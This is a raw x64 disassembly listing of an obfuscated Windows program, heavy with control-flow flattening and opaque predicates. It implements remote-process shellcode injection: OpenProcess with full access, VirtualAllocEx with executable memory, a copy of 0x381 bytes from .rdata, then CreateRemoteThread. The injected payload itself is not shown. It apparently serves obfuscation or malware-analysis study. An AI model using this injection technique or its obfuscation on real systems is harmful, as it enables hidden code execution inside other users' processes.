sete r8b
cmp dword [0x140035ab4], 0xa
setl bl
mov eax, ebx
xor al, r8b
mov r9d, eax
xor r9b, 1
mov edx, ebx
and dl, cl
or dl, r9b
xor dl, al
or cl, bl
and cl, dl
and bl, r8b
xor cl, bl
mov eax, 0x2a782b8c
mov ecx, 0x77908989
cmovne eax, ecx
test dl, dl
mov ecx, 0x2a782b8c
cmovne ecx, eax
test bl, bl
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x3a678d10
jg 0x14000425e
cmp eax, 0x38f5f014
jle 0x140005d93
cmp eax, 0x3a313c22
jg 0x140008c53
cmp eax, 0x38f5f015
je 0x14000af63
cmp eax, 0x39aeca2e
jne 0x140001070
mov eax, 0x1b15f94a
jmp 0x140001070
cmp eax, 0xfd501991
jg 0x140004294
cmp eax, 0xfbd46d30
jle 0x140005de4
cmp eax, 0xfc8a617e
jg 0x140008ce7
cmp eax, 0xfbd46d31
je 0x14000af93
cmp eax, 0xfc6e7253
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7cdf3150
mov ecx, 0x57867ddd
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x7cdf3150
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x41b6db28
jle 0x1400042f8
cmp eax, 0x42750b16
jle 0x140005e30
cmp eax, 0x43c8a46d
jg 0x140008d2d
cmp eax, 0x42750b17
je 0x14000afbe
cmp eax, 0x434d40df
jne 0x140001070
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x3c], 0
mov eax, 0x3f105ce
jmp 0x140001070
cmp eax, 0x80cd34e5
jle 0x14000434f
cmp eax, 0x81d8df24
jle 0x140005e5b
cmp eax, 0x830a41d7
jg 0x140008d4d
cmp eax, 0x81d8df25
je 0x14000afe9
cmp eax, 0x81fbe550
jne 0x140001070
mov eax, 0x97e2f598
jmp 0x140001070
cmp eax, 0x200fe47
jle 0x1400043a6
cmp eax, 0x28ef575
jle 0x140005e86
cmp eax, 0x386c07a
jg 0x140008d8e
cmp eax, 0x28ef576
je 0x14000aff3
cmp eax, 0x3726f04
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rax - 1]
imul esi, eax
test sil, 1
sete al
cmp edi, 0xa
setge bl
setl cl
mov edx, ecx
or dl, al
xor cl, al
xor dl, cl
and bl, al
xor bl, cl
test dl, dl
mov eax, 0x87090345
mov edx, 0xd0f61692
cmovne eax, edx
test bl, bl
cmovne eax, edx
test sil, 1
mov ecx, eax
cmove ecx, edx
cmp edi, 0xa
cmovl ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0xc3a7c1de
jle 0x14000443f
cmp eax, 0xc5a7c563
jle 0x140005ee2
cmp eax, 0xc6fd8cf3
jg 0x14000957e
cmp eax, 0xc5a7c564
je 0x14000affd
cmp eax, 0xc636874b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4d0df8e6
mov ecx, 0x2cebb11c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x60d9f303
jle 0x140004475
cmp eax, 0x61d3d92a
jle 0x140005f2e
cmp eax, 0x6238b396
jg 0x14000959e
cmp eax, 0x61d3d92b
je 0x14000b038
cmp eax, 0x6225d539
jne 0x140001070
mov eax, 0xfb5049e0
jmp 0x140001070
cmp eax, 0xa26ccaa4
jle 0x1400044bf
cmp eax, 0xa3b5ae9f
jle 0x140005fc7
cmp eax, 0xa43ffeb5
jg 0x1400095df
cmp eax, 0xa3b5aea0
je 0x14000b042
cmp eax, 0xa3dc0815
jne 0x140001070
mov eax, 0x33898781
jmp 0x140001070
cmp eax, 0x220206eb
jle 0x1400044f5
cmp eax, 0x224a30d5
jle 0x140005ff2
cmp eax, 0x23030eb7
jg 0x140009630
cmp eax, 0x224a30d6
je 0x14000b04c
cmp eax, 0x22e8c664
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x140fee0e
mov ecx, 0x65865ff2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xe4f44fe4
jle 0x14000454c
cmp eax, 0xe59b36d4
jle 0x14000601d
cmp eax, 0xe5bfba69
jg 0x140009671
cmp eax, 0xe59b36d5
je 0x14000b0d8
cmp eax, 0xe59d4ae9
jne 0x140001070
mov rax, qword [rbp - 8]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140011390
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140011390
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl bl
mov edx, ebx
xor dl, r8b
mov ecx, ebx
and cl, r8b
xor cl, 1
mov eax, edx
xor al, cl
xor dl, 1
or dl, cl
or dl, al
or bl, r8b
mov eax, ebx
xor al, dl
mov eax, 0x1af86894
mov ecx, 0xdd6fbb75
cmovne eax, ecx
test bl, bl
mov ecx, eax
mov ebx, 0x1af86894
cmovne ecx, ebx
test dl, dl
cmovne ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x4e25c121
jle 0x1400045c8
cmp eax, 0x4e9c4c17
jle 0x14000604b
cmp eax, 0x4f0c89a1
jg 0x1400096c9
cmp eax, 0x4e9c4c18
je 0x14000b148
cmp eax, 0x4eb94b37
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xff8c317e
mov ecx, 0x3e3fd03a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x938f561c
jle 0x14000461f
cmp eax, 0x94550301
jle 0x1400060c3
cmp eax, 0x94937198
jg 0x14000975c
cmp eax, 0x94550302
je 0x14000b173
cmp eax, 0x94932a4a
jne 0x140001070
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov eax, 0x760ff50b
jmp 0x140001070
cmp eax, 0x1196b489
jle 0x140004676
cmp eax, 0x125d1449
jle 0x14000610f
cmp eax, 0x140fee0d
jg 0x1400097a2
cmp eax, 0x125d144a
je 0x14000b19e
cmp eax, 0x1316fc85
jne 0x140001070
mov eax, 0x800cd7d4
jmp 0x140001070
cmp eax, 0xd4398399
jle 0x1400046cd
cmp eax, 0xd5355ee7
jle 0x14000614e
cmp eax, 0xd545aea1
jg 0x1400097e3
cmp eax, 0xd5355ee8
je 0x14000b1c9
cmp eax, 0xd5365449
jne 0x140001070
cmp byte [rbp - 0x17], 0
mov eax, 0xa2532011
mov ecx, 0x95690247
cmovne eax, ecx
mov ecx, dword [rbp + 0x18]
mov dword [rbp - 0x40], ecx
jmp 0x140001070
cmp eax, 0x6f9225d3
jle 0x14000473e
cmp eax, 0x708e057a
jle 0x14000619a
cmp eax, 0x719bfca7
jg 0x140009834
cmp eax, 0x708e057b
je 0x14000b1f4
cmp eax, 0x70c098bd
jne 0x140001070
mov eax, dword [0x140035ab0]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
or al, dl
mov ecx, ebx
xor cl, 1
or dl, dil
and dl, al
and dl, cl
xor dl, bl
mov eax, 0x66c6f701
mov ecx, 0xd844ac9b
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xb461c044
jle 0x1400047a8
cmp eax, 0xb60120b5
jle 0x14000622a
cmp eax, 0xb6af4372
jg 0x140009875
cmp eax, 0xb60120b6
je 0x14000b1fe
cmp eax, 0xb68b6403
jne 0x140001070
mov eax, 0xe7fef4a7
jmp 0x140001070
cmp eax, 0x2f7c89ad
jle 0x1400047f6
cmp eax, 0x30127e0a
jle 0x140006276
cmp eax, 0x306b1279
jg 0x1400098b6
cmp eax, 0x30127e0b
je 0x14000b22e
cmp eax, 0x30570931
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x784c707d
mov ecx, 0x59248748
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xf20d916f
jle 0x140004852
cmp eax, 0xf31e710c
jle 0x1400062a5
cmp eax, 0xf33c5636
jg 0x140009918
cmp eax, 0xf31e710d
je 0x14000b29d
cmp eax, 0xf32ca0e4
jne 0x140001070
mov eax, 0x48a13020
jmp 0x140001070
cmp eax, 0x463959b9
jle 0x1400062d0
cmp eax, 0x468747a0
jg 0x140009959
cmp eax, 0x463959ba
je 0x14000b2c8
cmp eax, 0x467025b9
jne 0x140001070
mov eax, 0xad8de38d
jmp 0x140001070
cmp eax, 0x8d0aa36a
jle 0x140006321
cmp eax, 0x8d40fce7
jg 0x14000999a
cmp eax, 0x8d0aa36b
je 0x14000b2de
cmp eax, 0x8d3b0ae1
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9027a648
mov ecx, 0xd0b8e0d6
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xb41e3d5
jle 0x14000636d
cmp eax, 0xbeb8098
jg 0x1400099e4
cmp eax, 0xb41e3d6
je 0x14000b2e8
cmp eax, 0xb847d85
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x140035ab4], 0xa
setge r8b
setl dl
mov r9d, edx
or al, dl
xor dl, cl
mov ebx, ecx
or bl, r8b
and al, dl
xor dl, 1
and dl, bl
or r9b, cl
and cl, r8b
xor cl, r9b
xor al, cl
mov ecx, edx
xor cl, al
not dl
and dl, al
xor dl, cl
test dl, 1
mov eax, 0xdaa9ce4b
mov ecx, 0xed40f0e9
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xce5d2eee
jle 0x1400063b9
cmp eax, 0xcea37824
jg 0x140009a04
cmp eax, 0xce5d2eef
je 0x14000b313
cmp eax, 0xce9ca7cc
jne 0x140001070
mov eax, 0x3846b494
jmp 0x140001070
cmp eax, 0x69b098fe
jle 0x1400063e4
cmp eax, 0x6a78ef0a
jg 0x140009a45
cmp eax, 0x69b098ff
je 0x14000b31d
cmp eax, 0x69d8813f
jne 0x140001070
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140015e20
add rsp, 0x20
mov eax, 0x935f2ca9
jmp 0x140001070
cmp eax, 0xad8de38c
jle 0x140006430
cmp eax, 0xadc9776c
jg 0x140009a65
cmp eax, 0xad8de38d
je 0x14000b34d
cmp eax, 0xadc4681b
jne 0x140001070
mov eax, 0x4b09e848
jmp 0x140001070
cmp eax, 0x29415138
jle 0x14000649a
cmp eax, 0x2954ca11
jg 0x140009a85
cmp eax, 0x29415139
je 0x14000b378
cmp eax, 0x294fafbf
jne 0x140001070
sub rsp, 0x20
lea rcx, str.Please_provide_a_process_ID__n
call fcn.140011390
add rsp, 0x20
mov eax, 0xf704251a
jmp 0x140001070
cmp eax, 0xed3997f5
jle 0x1400064c5
cmp eax, 0xed40f0e8
jg 0x140009aa5
cmp eax, 0xed3997f6
je 0x14000b382
cmp eax, 0xed39b150
jne 0x140001070
mov rax, qword [rbp - 8]
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x140035ab4], 0xa
setl dl
setge r8b
mov r9d, ecx
or r9b, r8b
xor r9b, dl
and al, dl
xor dl, cl
mov ebx, edx
xor bl, 1
or al, bl
xor al, dl
mov edx, eax
not dl
and cl, r8b
or cl, dl
xor cl, r9b
test cl, 1
mov ecx, 0xb32e7f01
mov edx, 0xdc44f3a1
cmovne ecx, edx
mov edx, 0xb32e7f01
cmove ecx, edx
test al, al
mov eax, 0xb32e7f01
cmovne eax, ecx
test r9b, r9b
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x583b9072
jle 0x140006511
cmp eax, 0x59248747
jg 0x140009b0e
cmp eax, 0x583b9073
je 0x14000b38c
cmp eax, 0x58e6f2c5
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x26f1fe26
mov ecx, 0x9800c2f6
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x9cfc07f6
jle 0x140006594
cmp eax, 0x9dd3aca1
jg 0x140009b4f
cmp eax, 0x9cfc07f7
je 0x14000b3e4
cmp eax, 0x9d11c885
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xadc9776d
mov ecx, 0xd75919f6
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x1ba730ee
jle 0x1400065e0
cmp eax, 0x1c0865ed
jg 0x140009bad
cmp eax, 0x1ba730ef
je 0x14000b426
cmp eax, 0x1bc00105
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbf29ce8d
mov ecx, 0x374e3fd9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xdc44f3a0
jle 0x14000662c
cmp eax, 0xdd0cc6d2
jg 0x140009bee
cmp eax, 0xdc44f3a1
je 0x14000b451
cmp eax, 0xdc6a49bf
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge bl
setl cl
mov edx, ecx
xor dl, r8b
mov eax, edx
xor al, 1
and bl, r8b
or bl, al
xor bl, dl
xor bl, 1
and dil, cl
or dil, bl
mov eax, ecx
or al, r8b
xor al, dl
and cl, r8b
xor cl, al
mov edx, eax
or dl, cl
xor dl, 1
or dl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
xor al, 1
xor cl, 1
and cl, dl
or cl, al
mov eax, edi
xor al, cl
not cl
and cl, dil
xor cl, al
test cl, 1
mov eax, 0x8a122931
mov ecx, 0xce0c198b
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x7b62e6e0
jle 0x140006678
cmp eax, 0x7b82fe62
jg 0x140009c50
cmp eax, 0x7b62e6e1
je 0x14000b45f
cmp eax, 0x7b69bf85
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4579fa82
mov ecx, 0x5c091534
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xbd77a263
jle 0x1400066a3
cmp eax, 0xbdecd222
jg 0x140009c70
cmp eax, 0xbd77a264
je 0x14000b469
cmp eax, 0xbdbbc7c1
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov r8d, ebx
and r8b, al
and cl, bl
xor bl, al
or dl, al
and dl, bl
xor dl, cl
or dl, bl
xor dl, r8b
mov eax, 0x58e6f2c5
mov ecx, 0x9c8ebd8
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x374e3fd8
jle 0x1400066ef
cmp eax, 0x3846b493
jg 0x140009c90
cmp eax, 0x374e3fd9
je 0x14000b494
cmp eax, 0x37ab2a21
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5596165e
mov ecx, 0xf96b93bd
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xfa99fdef
jle 0x14000677c
cmp eax, 0xfb04bb8e
jg 0x140009cd1
cmp eax, 0xfa99fdf0
je 0x14000b4f4
cmp eax, 0xfaf64dd2
jne 0x140001070
mov eax, 0xd5355ee8
jmp 0x140001070
cmp eax, 0x3e5560a2
jle 0x1400067a7
cmp eax, 0x3efe9653
jg 0x140009d12
cmp eax, 0x3e5560a3
je 0x14000b4fe
cmp eax, 0x3e77f60b
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp ecx, 0xa
setl bl
xor al, bl
and bl, dl
xor bl, al
mov ebx, 0x4e25c122
mov esi, 0x78941050
cmovne ebx, esi
test edx, edx
mov edi, 0x78941050
cmove edi, ebx
cmp ecx, 0xa
cmovl edi, esi
test al, al
cmove edi, ebx
test edx, edx
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edi
jmp 0x140001070
cmp eax, 0x87090344
jle 0x1400067f3
cmp eax, 0x88e28688
jg 0x140009d53
cmp eax, 0x87090345
je 0x14000b564
cmp eax, 0x87eb07f3
jne 0x140001070
mov eax, 0xabbb21eb
jmp 0x140001070
cmp eax, 0x686daf1
jle 0x14000683f
cmp eax, 0x6b21e60
jg 0x140009d94
cmp eax, 0x686daf2
je 0x14000b56e
cmp eax, 0x697e839
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc9e9e68
mov ecx, 0x2a9f8672
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xca4f1317
jle 0x14000686a
cmp eax, 0xcb1105f4
jg 0x140009de6
cmp eax, 0xca4f1318
je 0x14000b578
cmp eax, 0xcafe141b
jne 0x140001070
mov rax, qword [rbp - 8]
mov qword [rbp - 0x28], rax
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9dd3aca2
mov ecx, 0x3d8461ff
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x656542f4
jle 0x1400068c6
cmp eax, 0x66158cfc
jg 0x140009e8f
cmp eax, 0x656542f5
je 0x14000b582
cmp eax, 0x65865ff2
jne 0x140001070
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140019fac
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x140fee0e
mov ecx, 0xf2280152
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xa85df6b8
jle 0x140006922
cmp eax, 0xa8ee8920
jg 0x140009f2a
cmp eax, 0xa85df6b9
je 0x14000b5b2
cmp eax, 0xa8b2a36a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaea39648
mov ecx, 0x29773cc8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x25a1ce81
jle 0x140006955
cmp eax, 0x262a6d68
jg 0x140009fa2
cmp eax, 0x25a1ce82
je 0x14000b5dd
cmp eax, 0x25a811d8
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov edi, 0x45aa6187
mov esi, 0xdae0d0f3
cmovne edi, esi
cmp ecx, 0xa
mov eax, edi
cmovl eax, esi
test dl, 1
cmove eax, edi
mov edx, 0xdae0d0f3
cmove edx, eax
cmp ecx, 0xa
cmovl edx, eax
test bl, bl
mov eax, 0x45aa6187
cmovne edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0xe87e340a
jle 0x1400069a1
cmp eax, 0xe94d4a78
jg 0x140009fda
cmp eax, 0xe87e340b
je 0x14000b5e7
cmp eax, 0xe8efa8bc
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x94932a4a
mov ecx, 0x760ff50b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x54f9f844
jle 0x1400069ed
cmp eax, 0x5571f92f
jg 0x14000a02b
cmp eax, 0x54f9f845
je 0x14000b631
cmp eax, 0x5550da33
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbf51d595
mov ecx, 0x7ea5b6fd
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x97e46ef1
jle 0x140006a18
cmp eax, 0x983f80fb
jg 0x14000a04b
cmp eax, 0x97e46ef2
je 0x14000b660
cmp eax, 0x9800c2f6
jne 0x140001070
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140015e20
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x26f1fe26
mov ecx, 0x1316fc85
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x17115c54
jle 0x140006a64
cmp eax, 0x17c8773b
jg 0x14000a077
cmp eax, 0x17115c55
je 0x14000b6a5
cmp eax, 0x17b8416e
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4aec2ca1
mov ecx, 0xc008a630
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xd92db712
jle 0x140006ad3
cmp eax, 0xd9827ff7
jg 0x14000a0bd
cmp eax, 0xd92db713
je 0x14000b6c7
cmp eax, 0xd9627bc5
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb9d09bb3
mov ecx, 0x8e2a35b8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x77908988
jle 0x140006b4e
cmp eax, 0x784c707c
jg 0x14000a13f
cmp eax, 0x77908989
je 0x14000b6f2
cmp eax, 0x780f5cfc
jne 0x140001070
mov eax, 0xe3f1a7b4
jmp 0x140001070
cmp eax, 0xb935ff59
jle 0x140006b79
cmp eax, 0xb98598c9
jg 0x14000a180
cmp eax, 0xb935ff5a
je 0x14000b6fc
cmp eax, 0xb968654e
jne 0x140001070
mov eax, 0x36f399bb
jmp 0x140001070
cmp eax, 0x34168659
jle 0x140006bc5
cmp eax, 0x3446a975
jg 0x14000a1a4
cmp eax, 0x3416865a
je 0x14000b727
cmp eax, 0x341f8bc2
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb68b6403
mov ecx, 0xe7fef4a7
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xf78d3db3
jle 0x140006bf0
cmp eax, 0xf8042422
jg 0x14000a1c4
cmp eax, 0xf78d3db4
je 0x14000b752
cmp eax, 0xf7e536f1
jne 0x140001070
mov eax, dword [rbp + 0x14]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl bl
mov edx, ebx
xor dl, al
xor dl, 1
or cl, al
and cl, dl
and bl, al
xor bl, cl
mov eax, 0x7b84cdac
mov ecx, 0x7e4303b5
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x4ae6bc41
jle 0x140006c1b
cmp eax, 0x4b09e847
jg 0x14000a1ea
cmp eax, 0x4ae6bc42
je 0x14000b77d
cmp eax, 0x4aec2ca1
jne 0x140001070
mov eax, 0x17b8416e
jmp 0x140001070
cmp eax, 0x91434a49
jle 0x140006c46
cmp eax, 0x919aefe6
jg 0x14000a246
cmp eax, 0x91434a4a
je 0x14000b787
cmp eax, 0x916c6b88
jne 0x140001070
sub rsp, 0x20
lea rcx, str.___Byte_Write_sucessfully__n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge dl
setl cl
mov ebx, ecx
xor bl, al
or dl, al
xor bl, 1
and bl, dl
and cl, al
mov eax, ecx
xor al, bl
mov r8d, eax
not r8b
mov edx, ebx
not dl
and dl, cl
or dl, r8b
xor dl, al
test dl, 1
mov eax, 0xb8d690ff
mov edx, 0x5ce94d95
cmovne eax, edx
test bl, bl
mov edx, 0xb8d690ff
cmove eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140001070
cmp eax, 0xf23e343
jle 0x140006c71
cmp eax, 0x101d9aa9
jg 0x14000a2b7
cmp eax, 0xf23e344
je 0x14000b7b2
cmp eax, 0x100b128d
jne 0x140001070
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov eax, dword [rbp + 0x1c]
mov ebx, dword [rbp + 0x1c]
mov eax, ebx
and eax, 0x955190
xor eax, 0x804100
and eax, ebx
mov ecx, eax
xor ecx, 0x7e7f6ad6
mov r8d, ecx
and r8d, 0x1e7f6a90
mov esi, ebx
xor esi, 0x53008
mov r9d, ebx
not r9d
and esi, r9d
mov r10d, ebx
or r10d, 0xbb18c4a3
mov edi, r9d
or edi, 0x44e73b5c
mov edx, r10d
and edx, 0x44ea8f75
and esi, 0x44e73b5c
or esi, edx
mov edx, ebx
and edx, 2
xor r10d, edi
and edi, 0x658a8435
add edi, edx
add edi, 0x92114080
mov edx, ebx
and edx, 0x9a104080
xor edx, edi
xor edx, esi
mov edi, ebx
xor edi, 0xbb18c4a3
or edi, r10d
mov esi, edx
xor esi, 0x4c8eb43f
xor edx, edi
xor edx, 0x4c8eb43f
or esi, edi
not esi
or esi, edx
mov edx, esi
and edx, 0x5a9851cc
or edx, 0x8406a633
and esi, 0xa567ae33
xor esi, edx
xor esi, 0x21610800
mov edx, ebx
and edx, 0xc59977eb
and ebx, 0x3a668814
or ebx, 0x4090702
xor ebx, edx
xor ebx, esi
and esi, r9d
mov edx, ebx
xor edx, esi
xor edx, 0xfbf6f8fd
xor ebx, 0xfbf6f8fd
and ebx, esi
or ebx, edx
xor eax, 0x603802c6
and eax, r8d
and ecx, 0x1e476810
or ecx, 0x60201203
xor ecx, eax
xor ecx, 0x7ee7ff5f
and eax, 0x54010
or eax, ecx
mov edi, eax
xor edi, 0xe13812a3
mov edx, eax
or edx, 0x62dd075b
xor eax, 0x7c1aea07
and eax, edi
mov esi, edx
and esi, 0x78984d56
and ecx, 0x422a080
or ecx, esi
xor ecx, eax
xor ecx, 0x7c9aed56
xor edx, 0x7edfef5f
and edx, eax
or edx, ecx
mov eax, ebx
xor eax, 0x9d22f8a4
mov ecx, ebx
xor ecx, 0x62dd075b
and ecx, edx
not edx
and edx, eax
and edi, ebx
or edi, ecx
or edi, edx
mov eax, ebx
or eax, r8d
mov ecx, eax
not ecx
mov edx, ebx
and edx, 0x827cd473
and ebx, 0x7d832b8c
or ebx, 0x409471
xor ebx, edx
mov edx, ebx
xor edx, 0x9471
or edx, r8d
xor ebx, r8d
xor ebx, 0xffbf6b8e
and ebx, edx
mov edx, ebx
and edx, ecx
and eax, ebx
not ebx
and ebx, ecx
or ebx, eax
xor ebx, edx
mov r8d, edi
mov ecx, edi
mov esi, ebx
mov edx, ebx
mov eax, ebx
not eax
and eax, edi
xor ebx, edi
and edi, 0x110028c8
or edi, 0x80b1101
and r8d, 0x4436
or r8d, 0xb5942808
and ecx, 0xeeff9301
xor ecx, r8d
xor ecx, edi
mov edi, ecx
xor edi, 0xac9f55f7
and esi, 0xeeff9301
or esi, 0x100047a
and edx, 0x11006cfe
xor edx, esi
mov esi, edx
xor esi, 0xefff977b
xor ecx, esi
xor ecx, 0xac9f55f7
and ecx, esi
xor edx, edi
xor edx, 0xefff977b
and edx, edi
xor ebx, eax
or ebx, edx
or ebx, ecx
mov eax, ebx
or eax, 0x25aa762
mov edi, eax
not edi
mov r8d, ebx
and r8d, 0x25aa762
and eax, 0x61bb2a59
mov ecx, edi
and ecx, 0x9c045084
or ecx, eax
mov esi, ebx
xor esi, 0x20a0702
and esi, r8d
mov eax, ebx
and eax, 0x5010001
and edi, 0x48800004
mov edx, ecx
and edx, 0xb02e5898
add edi, eax
add edi, 0x1004b7b2
xor edi, edx
mov edx, edi
xor edx, 0x701a021
mov eax, ebx
and eax, 0x20a0702
or eax, 0x4841a045
